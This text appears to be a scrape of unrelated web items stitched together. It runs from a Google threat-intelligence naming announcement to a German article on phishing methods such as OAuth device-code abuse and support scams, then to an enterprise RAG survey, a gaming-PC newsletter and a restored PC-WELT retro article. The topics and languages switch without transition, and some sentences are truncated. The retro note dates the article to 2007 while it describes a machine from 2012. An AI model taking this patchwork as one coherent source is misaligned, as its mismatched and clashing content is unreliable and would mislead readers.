Today, Google Threat Intelligence Group (GTIG) will begin rolling out a unified naming schema for tracking threat actors. This new naming taxonomy represents an effort to standardize tracking across platforms and public reporting.

Why are we Adopting a Different Naming System?

Historically, Mandiant and Google’s Threat Analysis Group (TAG) maintained distinct tracking systems, relying on parallel naming schemas that grew independently over time. The creation of GTIG has necessitated a new, fused tracking system, and a new naming system. Thinking to the future, GTIG’s new system will rely on cryptonyms. Relying on sequential numbers or disparate identifiers (e.g. APT1) fails to provide defenders the critical context needed to operate quickly. Threat tracking shouldn’t be an exercise in memorization, but rather one of intuition. The new naming convention aligns with industry standard threat actor naming systems. 

Our New Schema

Our new schema utilizes a cryptonym-based approach, employing memorable two-word combinations for each distinct threat actor:

• The first word is a unique and memorable term chosen to represent the specific actor, particularly names that may have been used in prior public reporting. If no previously used term exists, this word is randomly generated to remove bias, then vetted by our analysts.

• The second word categorizes threat clusters by motivation, attribution, or activity type based on which category we consider to be most important for defense and response strategies.

The table below provides a sample of how threat actor categories will map to the second word in each cryptonym:

Table 1: Examples of Google’s new threat actor naming system categories

We know there are many threat actor tracking schemas in the industry, so we are intentionally seeking to keep this system as simple as possible to streamline operations and facilitate mapping to other naming taxonomies. However, a significant caveat remains: because no two organizations have the exact same visibility into the threat landscape, direct, apples-to-apples comparisons between threat actors are rarely possible. Transitioning to a convention that is simpler to follow and remember is a practical step toward managing a highly intricate tracking problem. 

A Work in Progress

We have initially prioritized renaming several dozen of the most active groups, and will continue this process on a rolling basis. Previous names will remain indexed and searchable in the Google Threat Intelligence (GTI) platform, with MITRE ATT&CK mappings and other vendor aliases preserved, see Figure 1. 

Eigentlich gehen wir von einem Start des iPhone Ultra parallel zum iPhone 18 Pro im Herbst 2026 aus. Ein Bericht nimmt nun erneut vermeintliche Unstimmigkeiten ... Weiterlesen ...

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Zwei große Änderungen hat es in den vergangenen Jahren bei Phishing-Angriffen gegeben: Die Kriminellen erstellen mithilfe von generativer KI sprachlich fast perfekte Mails, die in Stil, Struktur und Tonalität kaum noch von legitimen Nachrichten zu unterscheiden sind. Wo früher holpriges Deutsch sofort Misstrauen geweckt hat, liest sich heute eine Phishing-Mail wie eine echte Mitteilung von Microsoft, einer Bank oder einem Paketdienst.

Auch das Design wirkt meist höchst professionell. Zum anderen sind auch die technischen Tricks beim Datendiebstahl heute höher entwickelt. Einige Maschen umgehen sogar eine Zwei-Faktor-Authentifizierung. Das Ziel der Angreifer bleiben vor allem Zugangsdaten, Session-Tokens und persönliche Infos.

1. Microsoft-365-Log-in-Falle trickst Zwei-Faktor-Anmeldung aus

Eine neue Angriffsmethode verwendet den originalen Microsoft-Anmeldedialog und kommt entsprechend fast ohne gefälschte Webseiten aus. Die Kriminellen nutzen dafür den Oauth-Device-Code-Flow. Das ist ein Anmeldeverfahren für Geräte oder Programme, die keinen brauchbaren Browser oder keine komfortable Texteingabe bieten, etwa Smart-TVs, IoT-Geräte, Drucker oder CLI-Tools.

Offiziell heißt er „OAuth 2.0 Device Authorization Grant“. Mit der Methode lassen sich auch Konten übernehmen, die mit einer Zwei-Faktor-Authentifizierung geschützt sind.

Die Kriminellen schicken an ihre Opfer eine Phishing-Nachricht und geben vor, das Gerät der Opfer müsste für den Log-in ins Microsoft-365-Konto neu autorisiert werden. Die Nachrichten beginnen meist harmlos, etwa mit „Ihre Sitzung ist abgelaufen“, und bieten einen Link zur Neuanmeldung. Wenn das Opfer dem Link in der Nachricht folgt, landet es zunächst auf einer gefälschten Website, schließlich aber beim offiziellen Microsoft-Authentifizierungsverfahren für Geräte und Anwendungen (Oauth-Device-Code-Flow).

Proofpoint

Es handelt sich um echte Microsoft-Meldungen und Webseiten. Allerdings autorisiert das Opfer nicht den Zugang zu seinem eigenen PC oder Smartphone, sondern eine Anwendung der Kriminellen. Diese bekommen nach der Freigabe durch das getäuschte Opfer einen Access-Token. Damit kann die feindliche Anwendung per API auf das Microsoft-Konto zugreifen, ohne dass noch einmal ein Passwort eingegeben werden muss.

Übrigens: Die meisten dieser Angriffe verstecken den Link zur gefälschten Website in einem QR-Code. Dieser entgeht den Spam-Filtern eher als ein üblicher Link, und es lässt die meisten Opfer vom PC auf das Smartphone wechseln.

Auf diesem ist es wegen des kleineren Bildschirms und oft fehlender Sicherheits-Software noch wahrscheinlicher, dass das Opfer die Täuschung nicht bemerkt. Eine ausführliche Analyse der Angriffe auf Microsoft-365-Konten haben die Sicherheitsexperten von Proofpoint veröffentlicht.

2. Support-Masche: Ihr Computer ist gesperrt & Co.

Die Support-Masche ist zwar nicht neu, funktioniert aber nach wie vor: Noch immer fallen zahlreiche Menschen auf die perfide Betrugsstrategie herein. Zu den prominenten Opfern zählt Bundestagspräsidentin Julia Klöckner.

Mutmaßlich staatlich organisierte Angreifer kontaktierten sie über den Messenger-Dienst Signal und gaben sich als vermeintliche Signal-Support-Mitarbeiter aus. Unter einem Vorwand forderten sie Klöckner und weitere Politiker auf, ihre PIN einzugeben. Dadurch erlangten die Angreifer Zugriff auf die Signal-Konten der Betroffenen – und damit auf private Chats und Kontakte.

Das Bundesamt für Verfassungsschutz und das Bundesamt für Sicherheit in der Informationstechnik (BSI) haben gemeinsam einen Leitfaden veröffentlicht, der potenziellen Opfern hilft zu prüfen, ob ihr Signal-Konto übernommen wurde.

Bundesnetzagentur

Ebenfalls weiterhin verbreitet sind Angriffe durch angebliche Microsoft-Support-Mitarbeiter. Die Betrüger kontaktieren ihre Opfer per Telefon, E-Mail oder über gefälschte Pop-up-Warnungen im Browser.

Dabei behaupten sie, der Windows-PC habe ein Sicherheitsproblem – etwa sei der Computer gesperrt oder mit Schadsoftware infiziert. Anschließend versuchen sie, die Betroffenen zur Installation einer Fernwartungssoftware oder eines vermeintlichen Sicherheitstools zu bewegen. Tatsächlich erhalten die Angreifer dadurch oft vollständigen Zugriff auf den Rechner.

3. Gefälschter Microsoft Defender warnt

Der Microsoft Defender ist ein Windows-Bordmittel und schützt PCs gegen alle bekannten PC-Viren. Entsprechend alarmierend ist für viele Nutzer eine Warnung dieses Antiviren-Tools. Eine gefälschte Form dieser Warnung erscheint mal per E-Mail, mal als Pop-up im Browser. In diesen Nachrichten wird behauptet, der Schutz des Defenders müsse kostenpflichtig erneuert werden. In der Folge werden die Nutzer auf gefälschte Shop-Webseiten geleitet, die eine Zahlung für einen Virenschutz verlangen.

Grundsätzlich gilt: Der Microsoft Defender ist auf Privat-PCs ein Bordmittel und kostenlos in Windows enthalten. Eine Zahlung ist nicht nötig. Sollte die Warnung per Mail bei Ihnen landen, löschen Sie diese einfach. Schlägt sie als Pop-up im Browser auf, schließen Sie einfach das Browser-Fenster, notfalls mit der Tastenkombination „Alt+F4”.

Der Antivirenspezialist Norton hat eine Anleitung veröffentlicht, die erklärt, wie sich solche Pop-up-Warnungen im Browser beseitigen lassen, falls sie sich im System festgesetzt haben.

4. Microsoft-Onedrive: Cloud-Phishing über Freigaben

Cloud-Dienste wie Onedrive von Microsoft nutzen viele Windows-Nutzer mehrmals täglich. Genau deshalb sind sie ein attraktives Ziel für Phishing. Statt klassischer E-Mails mit Dateianhängen erhalten die Nutzer Freigabe-Benachrichtigungen mit einem Betreff wie „Dokument wurde mit Ihnen geteilt“. Der Inhalt wirkt meist harmlos und oft beruflich relevant: Rechnungen, Projektpläne, Gehaltslisten oder interne Dokumente.

Besonders tückisch ist die Kombination aus echten und gefälschten Elementen. Manche Angriffe nutzen tatsächlich legitime Cloud-Plattformen, bieten dort aber manipulierte Dokumente an. Das Ziel dieser Angriffe sind mehrheitlich die Log-in-Daten der Opfer zu Ihren Cloud- und Mail-Konten. Diese werden dann von den Angreifern übernommen und etwa für neue Phishing-Attacken genutzt.

5. Lieferdienste, Lieferdienste und noch mal Lieferdienste

Phishing im Namen von Paketdiensten gehört zu den stabilsten Angriffsmustern überhaupt und wird gleichzeitig immer ausgefeilter. Der Grund ist die hohe Alltagstauglichkeit: Fast jeder erwartet regelmäßig Lieferungen und ist deshalb kaum misstrauisch, wenn eine Mail, SMS oder Whatsapp zum Thema Paketversand eintrudelt. Moderne Varianten enthalten nicht nur einfache Textlinks, sondern vollständige Tracking-Systeme.

Arne Arnold

Diese Seiten sind dynamisch aufgebaut und simulieren echte Logistikprozesse. Beim Sendungsverlauf heißt es dann etwa: „Zustellung fehlgeschlagen – bitte Adresse bestätigen“ oder „Letzte Möglichkeit zur Terminänderung“. Besonders kritisch ist die Kombination aus Zeitdruck und Kontext. Wer Opfer eines solchen Angriffs wird, gibt meist seine Log-in-Daten für Shopping- oder Zahlungsdienste preis. Oder er überweist den Angreifern direkt Geld, da angeblich Steuern, Bearbeitungsgebühren oder ein Expresszuschlag fällig sind.

Arne Arnold

Übrigens: Ab dem 1. Juli 2026 gibt es zusätzliche Abgaben auf Sendungen aus Nicht-EU-Ländern. Für Waren unter 150 Euro sind dann pauschal 3 Euro Zollgebühr und eine Einfuhrumsatzsteuer fällig. Einige Kurierdienste verlangen zusätzlich eine Servicepauschale für diese Zollanmeldung. Über die genauen Kosten informiert eine Seite der Verbraucherzentrale NRW. Es lohnt sich, die tatsächlichen Kosten zu kennen, denn es ist wahrscheinlich, dass zu diesem Termin vermehrt Phishing-Mails zu diesem Thema versendet werden.

6. Phishing zu Online-Banking gibt es immer

Phishing zum Online-Banking gibt es fast schon so lange wie das Online-Banking selbst. Die Bedrohungslage ist aber so angespannt wie nie, denn die Angriffe sind nun wirklich zahlreich. Über die neuesten Phishing-Fallen informieren unter anderem die Verbraucherzentralen.

Beispiele aus dem Mai 2026 lauten etwa so: „Bestätigung Ihrer Mobilfunknummer erforderlich“. Absender ist vorgeblich die Easybank. Eine Fälschung von Commerzbank-Mails warnt vor einem fälligen „Photo-TAN Update“, bei dem ein „einmaliger Abgleich der Zugangsdaten“ nötig ist.

Andere Phishing-Mails geben vor, von der Deutschen Bank zu sein, und fordern eine Reaktivierung des „photoTAN-Sicherheitszertifikats“. Auch Kunden der DKB erhielten im Mai Phishing-Mails.

Verbraucherzentrale

Sollten Sie eine Mail von Ihrer Bank bekommen, klicken Sie auf keinen Fall auf einen der Links in dieser Mail. Wenn Sie sich unsicher sind, ob Sie reagieren sollen, rufen Sie die Website Ihrer Bank über Ihren Browser auf.

Sollte es tatsächlich ein Anliegen der Bank geben, wird es Ihnen nach dem Einloggen in Ihr Online-Konto angezeigt. Oder Sie rufen Ihre Bank einfach per Telefon an und fragen, ob Informationen von Ihnen benötigt werden.

7. Phishing per Post: Kreditbetrug per Postident-Verfahren

Diese Phishing-Angriffe erreichen Sie per Post in Ihrem echten Briefkasten. Die Briefe geben vor, von Ihrer Bank zu stammen, und fordern Sie auf, Ihre Daten erneut per Postident zu bestätigen. Postident ist ein Verfahren der Post, mit dem Sie Ihre Identität gegenüber anderen, etwa einer neuen Bank oder einem Kreditinstitut, bestätigen können. Wer das beigefügte Schreiben nutzt, legitimiert in der Regel einen hohen Kredit bei einer anderen Bank.

Schäden von 15.000 bis 25.000 Euro sind hier keine Seltenheit. Vorangegangen ist meist ein Diebstahl Ihrer genauen Daten (Postadresse, Hausbank, Arbeitgeber, Verdienst), den die Angreifer dann nutzen. An die Daten kommen die Kriminellen etwa über gefälschte Wohnungsinserate bei Immoscout24 oder ähnlichen Portalen. Wer sich auf eine Wohnung oder ein Haus mit Gehaltszetteln und weiteren Angaben bewirbt, hat bereits alle wichtigen Daten für den Postident-Betrug verraten. Seien Sie beim Postident-Verfahren stets besonders vorsichtig. Konkrete Tipps lesen Sie hier.

Sicherheitstipps: Phishing erkennen und blockieren

An diesen Merkmalen erkennen Sie betrügerische Nachrichten:

• Unverlangter Kontakt: Sie erhalten eine E-Mail, Whatsapp oder SMS über eine Gutschrift, eine Lastschrift oder andere finanzielle Ansprüche, obwohl Sie aktuell keine Buchung storniert oder reklamiert haben.
• Zeitdruck: Die Nachricht suggeriert dringenden Handlungsbedarf und fordert zur schnellen Reaktion auf.
• Verdächtige Links: Die Links in der Nachricht sind hinter einem QR-Code maskiert, führen zu unpassenden Domains oder sind ungewöhnlich lang.
• Aufforderung zur Dateneingabe: Seriöse Unternehmen fordern in Nachrichten oder Mails nur äußerst selten zur Eingabe sensibler Daten auf.
• Unpersönliche Anrede: Oft fehlt die namentliche Ansprache oder es werden generische Formulierungen verwendet.

Diese Maßnahmen schützen vor Phishing-Fallen:

• E-Mail, SMS und Whatsapp & Co. sind keine geschlossenen Nachrichtenkanäle: Sie müssen damit rechnen, auch betrügerische Nachrichten zu erhalten.
• Misstrauen Sie Links in Nachrichten: Klicken Sie keine Links an und scannen Sie keine QR-Codes, wenn Log-in-, Zahlungs- oder Sicherheitsaufforderungen in der Mail stehen. Öffnen Sie den jeweiligen Dienst im Browser über die manuelle Eingabe der Adresse.
• Nutzen Sie Browser und Passwortmanager als Frühwarnsystem: Wenn Ihr Passwortmanager Ihre Log-in-Daten auf einer Webseite nicht einfügen möchte, dann ist die Domain vermutlich gefälscht. Achten Sie zudem auf die Warnungen Ihres Browsers.
• MFA aktivieren: Nutzen Sie immer eine Zwei- oder Multifaktor-Authentifizierung, wenn diese angeboten wird. Vor allem Passkeys erhöhen die Sicherheit.
• Remote-Support misstrauen: Installieren Sie keine Fernwartungs-Tools, nachdem Sie unaufgefordert kontaktiert wurden.
• Freigaben hinterfragen: Wenn Sie Freigaben für Dateien in Cloud-Speichern erhalten, kontaktieren Sie zunächst den Absender, idealerweise telefonisch.

Infos zu aktuellen Angriffen: Informieren Sie sich über Phishing-Kampagnen etwa bei der Verbraucherzentrale NRW.

Als letzte Verteidigungslinie lassen sich Antivirenprogramme, Browserschutz und Spezial-Tools einsetzen:

• Antivirus: Große Sicherheits-Suiten wie G Data Internet Security filtern Phishing-Mails heraus, bevor sie diese Nachrichten öffnen.
• Browser-Schutz: Browser von Sicherheitsanbietern blockieren viele aktuelle Phishing-Seiten, etwa der KI-Browser Norton Neo.
• Spezial-Tools: KI-Chatbots wie Scamio von Bitdefender begutachten verdächtige Nachrichten und warnen vor gefährlichen Inhalten.

Arne Arnold

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Heute fällt der Startschuss für AMD Epyc Venice als neue Server-Prozessoren mit Zen-6-Architektur. Parallel gibt es einen Ausblick auf die Nachfolger. Laut Epyc-Roadmap folgt 2028 Florence mit Zen 7 und AI Compute Extensions. Zwei Jahre später soll bereits Ravenna mit Zen 8 im Jahr 2030 erscheinen.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

Hallo, ich bin der Michi, willkommen zur vierten Ausgabe des HMX-6-Newsletters. Diese Woche erfahrt ihr, welche Grafikkarten wir in der HMX 6 verbauen. Außerdem verraten wir, warum Halo das Design der HMX 6 prägen wird. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4, die mit vier Grafikprozessoren neue Maßstäbe beim Gaming setzte. Wenn ihr keine Ausgabe verpassen wollt, könnt ihr den Newsletter kostenlos abonnieren – aber vergesst nicht, die Anmeldung via E-Mail zu bestätigen. Viel Spaß beim Lesen!

Hier geht es direkt zum Gewinnspiel der HMX 6 im Gesamtwert von 40.000 Euro.

HMX 6: 2x RTX 5090 von ZOTAC GAMING und Halo-Design

Jetzt können wir endlich verraten, welche Grafikkarten in der HMX 6 stecken: Als primäre Gaming-Grafikkarte der HMX 6 ist die RTX 5090 AMP Extreme INFINITY gedacht, während wir parallel dazu die RTX 5090 ARCTICSTORM AIO für verlustfreie Skalierung verwenden, um Bildqualität und -wiederholrate in praktisch jedem Videospiel zu verbessern. Natürlich könnt ihr die gebündelte Kraft der zwei 5090 auch im kreativen Einsatz nutzen, etwa beim 3D-Rendering oder KI-Berechnungen. Hier findet ihr alle Informationen zu den zwei ZOTAC-Grafikkarten.

ZOTAC

Eigentlich wollten Kris und ich euch diese Woche schon den aktuellen Stand des Casecon im Halo-Design zeigen. Doch unserem Modder Stefan Ulrich fehlen noch diverse Materialien. Jetzt fahren wir wahrscheinlich nächste Woche, doch die Zeit drängt schon wieder, denn wir wollen ja auf die Gamescom mit der HMX 6.

Rückblick: Die Höllenmaschine 4 setzte technische und optische Maßstäbe

Neue Maßstäbe setzten wir 2012 auch bei der Vermarktung der Höllenmaschine 4 – zumindest für unsere Verhältnisse: vier aufwendig produzierte Teaser-Videos mit Engelchen und Teufelsdamen sowie Fritz als Padawan von Obi-Wan Michi. Das hat riesigen Spaß gemacht und uns als Team Hölle zusammengeschweißt – und war der Beginn einer wunderbaren Freundschaft.

PC-WELT

Technisch auf der Höhe der Zeit waren wir mit den beiden Grafikkarten ASUS GTX690-4GD5, die jeweils zwei 915 MHz schnelle Nvidia Geforce GTX 690 beherbergten. Vier Grafikprozessoren gleichzeitig waren damals absoluter Wahnsinn und sorgten regelmäßig für offene Münder. Dazu gab es den Sechskerner Intel Core i7-3960X, 64 GB RAM im Vierkanalmodus, mit der OCZ RevoDrive die erste PCIe-SSD in einer Höllenmaschine und mit 10 Terabyte natürlich auch wieder verrückt viel HDD-Speicherplatz.

Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Sie haben ins Cooler Master Cosmos II ein Sichtfenster gefräst und per Airbrush lodernde Flammen auf die beiden Flügeltüren gezaubert. ARGB war damals noch kein Thema, aber mit dem Multidimmer von Richter waren immerhin individuelle Farbtöne und -wechsel per IR-Fernbedienung möglich. Hier geht es zum liebevoll restaurierten Artikel zur Höllenmaschine 4 aus 2012.

Maus mit Noctua-Lüfter und Steam Machine im Praxis-Test

Diese Woche ist eine skurrile Mail in meinem Postfach gelandet: Pulsar und Noctua präsentieren stolz die Früchte ihrer Zusammenarbeit: die Feinmann F01 Noctua Edition, eine Gaming-Maus mit aktiver Belüftung der Handflächen. Ich bin gespannt, wer sich über kühlere Handflächen beim Zocken freut.

Noctua/Pulsar

Mein Kollege und Namensvetter Michael Crider hat sich die kostspielige (ab 1.039 Euro) Steam Machine gekauft und einem ausführlichen Praxistest unterzogen. Sein Fazit fällt allerdings ernüchternd aus: Ein günstiger Mini-PC mit selbst installiertem SteamOS bietet derzeit nahezu denselben Nutzen für deutlich weniger Geld.

Warum es ein Problem ist, dass in neuen Laptops alte CPUs zum Einsatz kommen, erklärt mein Kollege Mark Hachman.

Vielen Dank fürs Lesen!

ommende Woche besuchen Kris und ich endlich unseren Modder Stefan, der uns dann hoffentlich schon das fast fertige Tisch-PC-Gehäuse für die Build-Week präsentiert – immer optimistisch bleiben, denn langsam drängt die Zeit. Außerdem reisen wir zurück ins Jahr 2013 zur legendären Höllenmaschine 5 mit den vielen Totenköpfen. Wenn ihr nichts verpassen wollt, abonniert den kostenlosen HMX-6-Newsletter – und denkt daran, eure Anmeldung per E-Mail zu bestätigen. Ich freue mich schon auf nächste Woche – bis dann! Euer Michi.

Watch the latest episode of VCF Breakroom Chats. In Episode 91, Kyle Gleed and Sehjung Hah discuss how real-time metrics in VMware Cloud Foundation (VCF) 9.1 transforms VMware infrastructure into a true private cloud. Building on operational improvements and enhanced visibility into metrics and costs, VCF 9.1 enables teams to do the following.   Learn more … Continued

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Tags: #Claude | #Malware

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Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.

Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der vierten Höllenmaschine:

Die PC-WELT Höllenmaschine 4 repräsentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug für den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.

Das Rückgrat des 22 Kilogramm schweren Cooler Master Cosmos II bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale Lüftersteuerung, Kabelmanagement, Flügeltüren und massig Platz: Das Gehäuse besitzt allein elf Laufwerksschächte für 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.

Airbrush der Höllenmaschine 4

